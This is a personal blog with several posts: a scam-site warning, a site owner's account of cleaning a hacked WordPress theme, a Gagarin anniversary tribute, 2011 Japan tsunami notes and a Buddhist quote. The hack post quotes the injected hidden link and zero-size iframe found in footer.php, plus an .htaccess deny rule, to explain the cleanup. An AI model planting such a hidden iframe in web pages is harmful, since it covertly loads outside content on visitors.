I’ve been busy. I posted the details of a wacky con on the Crawling Chaos website (shown above). In a nutshell, it appears to operate thus:
User searches for music or other media
User is presented with search results, some of which point to Black Box Access
User clicks on link and is told that the required file was uploaded last week and has been downloaded ~19,000 times
User immediately thinks “this is popular, I’ll have it!”
User hands over email & financial details
After this I don’t know as obviously handing over that data to a bunch of crooks is just asking for trouble.
However, as if to highlight their very own scamminess, Black Box Access serve ads which go to websites from which it’s almost impossible to leave with continuous pop-ups and all the usual crap.
So beware. Tread softly young Luke. It’s a major privacy issue.
A few days ago I got hacked. I quickly ripped out a heap of dodgy files left by the hackers but for some days now, Firefox, my browser, while viewing pages on this website, has been saying that it’s “downloading data from tructuyenso.vn… “.
This, of course, was not actually happening, as I’ve put the blockers on the whole of Vietnam using .htaccess! The reason for this is that initially, tructuyenso wasn’t the only site appearing in the progress tip – there was another which lasted until I got rid of the various files dumped on my website. This is how:
<Limit GET POST>
deny from 18.104.22.168/8
allow from all
However, the call was still being made from somewhere on my site as the progress indicator wouldn’t stop….
A search for the string “tructuyenso.vn” turned up nothing in the files on my website using my website host’s file manager. (In the end, this was my failing and I will not rely on the thing again!)
A search through my database also turned up zero.
TCPView is a download from Sysinternals.com (now Microsoft!) that shows the various net connections being made to one’s PC from everywhere. This immediately showed that as soon as the main strangelyperfect.tv website (not the backend WordPress admin area), fired up in Firefox, as many as 7 connections were simultaneously made to 22.214.171.124…… This is the IP address that holds tructuyenso.vn, plus 11 other domains, some of which I’d seen flash through the progress bar.
Even when closed by TCPView, the connections would immediately start up again to the same IP address, 126.96.36.199 (manually closing strangelyperfect.tv stopped the connections).
I had of course previously changed my FTP, mySQL databaase and site management passwords, but the link at the bottom to a Website malware & blacklist scan (Sucuri) was the killer! On visiting Sucuri, it instantly said that I was acting as a host for malware and gave the offending results, for free! (Of course, I wasn’t hosting malware – just that it gave an indication that I was and hence the slowness of the site to load as it tried and failed to download shite my way from Vietnam)
Checking the source code for my homepage (which in retrospect I should have done first!!) threw up “tructuyenso.vn” right at the very bottom. This is the code as it was when I checked:
<a href="http://tructuyenso.vn" title="Quang cao truc tuyen | Ban hang truc tuyen | Dien dan quang cao truc tuyen" > Quang cao truc tuyen</a>
<iframe marginWidth="0" marginHeight="0" frameBorder="0" width="0" height="0" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0" nosize scrolling="no" src="http://tructuyenso.vn/"></iframe>
This was then easily traced to the footer.php file in my theme, Suffusion.
It was simply stripped out and the website then worked fine….. but to be sure, I have downloaded then checked the footer file in a fresh theme download to be sure – it’s clean! I then uploaded a whole clean Suffusion theme in it’s entirety just in case any other theme files were compromised during the original hack yet were dormant, waiting for a trigger.
A recheck on Securi shows my website to be okay now. See screendump below. I’ll be using Securi a lot more!
…when mankind left the gravitational confines of our Earth.
A poor boy from the steppes, Yuri Gagarin, simultaneously became the first man in space and the first man to leave Earth and orbit it completely. (This is something that took NASA several steps before John Glenn finally emulated the feat).
While of humble background (like Jesus), his father was a carpenter (like Jesus) and his mother read voraciously (as Jesus knew the scriptures). Obviously, Gagarin wasn’t Jesus, but he did die in his mid-thirties which parallels Jesus’s early death.
I was alive when Gagarin stunned the world by being shot into space. I remember very few photos of the man or the event. The West was naturally very embarrassed by being overshadowed by a dictator-led communist state. Most scientists were just astonished. Most politicians and the mainstream media were extremely alarmist in public (and fully actioned in private) because the inter-continental aspect of chucking a nuclear weapon sized piece of machinery aloft at the height of the cold war was paramount in their minds.
What struck me then and since was the fact that Gagarin always seemed to have a happy cheeriness about him. When we now see his pre-flight pictures, his confidence is astounding, because remember, before the voyage, mankind had conflicting ideas about the very survivability for a man in the entirely hostile and unforgiving environment of space. Some said that a man would die within half and hour from radiation….
Of course, the Soviet scientists had tested these theories with mammals (dogs & ape) and knew that even though the animals died on their space-flights (and were destined to die, by design), they knew that a man could survive the flight and if a return to Earth could be made, he’d live to see another day. They’d also done a small step-by-step approach to their rocketry so even though the rocket was made primarily as an ICBM, its designer was actually more interested in getting men into space and had designed accordingly. (see this article on Sergei Korolev and his space-flight dreams).
This, Gagarin duly did, by re-entering the atmosphere in his capsule and then, when the speed had sufficiently reduced, by opening his capsule and leaping from it to then descend on a conventional parachute.
Amazingly, this all worked, perfectly.
International Space Station
We now see the benefits of this early Soviet work because for the next few years, transport of people to the International Space Station (ISS) will be done by the Russian Soyuz spacecraft alone now that the NASA Space Shuttle is grounded for good.
The Soyuz is a direct descendant of Gagarin’s early capsule and the subsequent work and deaths of Soviet cosmonauts. Later joint work with NASA and their own accidents and astronaut deaths have made the Soyuz platform very reliable, in space flight terms. See this Wikipedia article for a full introduction to space-flight of all kinds.
Google, characteristically, have celebrated Gagarin’s achievement (and that it was, make no mistake, he was a very, very, brave man), with a decorated main page which I’ve copied for posterity above.
Hooray For Gagarin.
So it was 50 years ago today. An event that changed the world and our perception of it and ourselves in the universe.
It’s only people some years older than myself who actually remember the previous world where people remained fixed to the planet and could only dream and wonder about the reality beyond. For myself and folks younger than me, we can only to imagine what that world was like because we are part of the world that Gagarin’s bravery opened up for us..
Following this morning’s (using GMT) earthquake just off Japan (now set at 8.8 on the Richter Scale, but it keeps rising as more information is analysed), I noticed that the Google search page has a Tsunami warning for all to see.
I thought I’d capture it for posterity.
This truly is an enormous event, the TV videos this morning of the wave’s advance making this perfectly clear. How and when it finishes, we can only watch and wait as one of the great forces of nature plays out before us.
Tsunami Transit Time for Japanese Tsunami of 11/3/11
Fortunately, the Tsunami warning system seems to be doing its job, and hopefully, those countries around the Pacific and the small Pacific Islands within have had enough time to warn folks to get to high ground. This image shows how much time they’ve got!
NOAA Tsunami Warning @ 10:30 GMT
This is the state of play a short time ago and the actual alert, showing wave heights and periods out at sea. When they hit the coast, things are very, very different.
WEPA40 PHEB 111030
TSUNAMI BULLETIN NUMBER 006
PACIFIC TSUNAMI WARNING CENTER/NOAA/NWS
ISSUED AT 1030Z 11 MAR 2011
THIS BULLETIN APPLIES TO AREAS WITHIN AND BORDERING THE PACIFIC
OCEAN AND ADJACENT SEAS…EXCEPT ALASKA…BRITISH COLUMBIA…
WASHINGTON…OREGON AND CALIFORNIA.
… A WIDESPREAD TSUNAMI WARNING IS IN EFFECT …
A TSUNAMI WARNING IS IN EFFECT FOR
JAPAN / RUSSIA / MARCUS IS. / N. MARIANAS / GUAM / WAKE IS. /
TAIWAN / YAP / PHILIPPINES / MARSHALL IS. / BELAU / MIDWAY IS. /
POHNPEI / CHUUK / KOSRAE / INDONESIA / PAPUA NEW GUINEA /
NAURU / JOHNSTON IS. / SOLOMON IS. / KIRIBATI / HOWLAND-BAKER /
HAWAII / TUVALU / PALMYRA IS. / VANUATU / TOKELAU / JARVIS IS. /
Our existence in this world can be likened to a dream.
The issue of the greatest importance and eternal relevance is how we face death, the inescapable destiny of all living beings.
For in the face of death, external factors such as social status or position in the organization count for naught. Everything depends on one’s faith, one’s state of life.
– Daisaku Ikeda
Ikeda is getting on now (he’s 80), but I’ve absolute certainty that he lives by these words. Despite the fact that death can come in an instant for any one of us, it’s a fact of life that as we get older, we become more and more aware of the day of reckoning. (If anyone disagrees with that then they are either kidding themselves or are wholly non-sentient or past caring.) I’ve no doubt that Ikeda thinks these thoughts frequently.
Pondering the nature of our existence as an independent being, untrammelled by the whims of religions tied to destiny, punishment or higher forces, is at the very heart of Buddhism, I think.
The Sword of Damocles does not hang over our heads, punishingly dropping on some Judgement Day when we are dead.
Nirvana is here and now, not when you die. You will not be forgiven for any possible sin you may have done. You will not be praised as a heroic martyr for mass-murder. Redemption is in the present, and we must try to live the very best lives we can.
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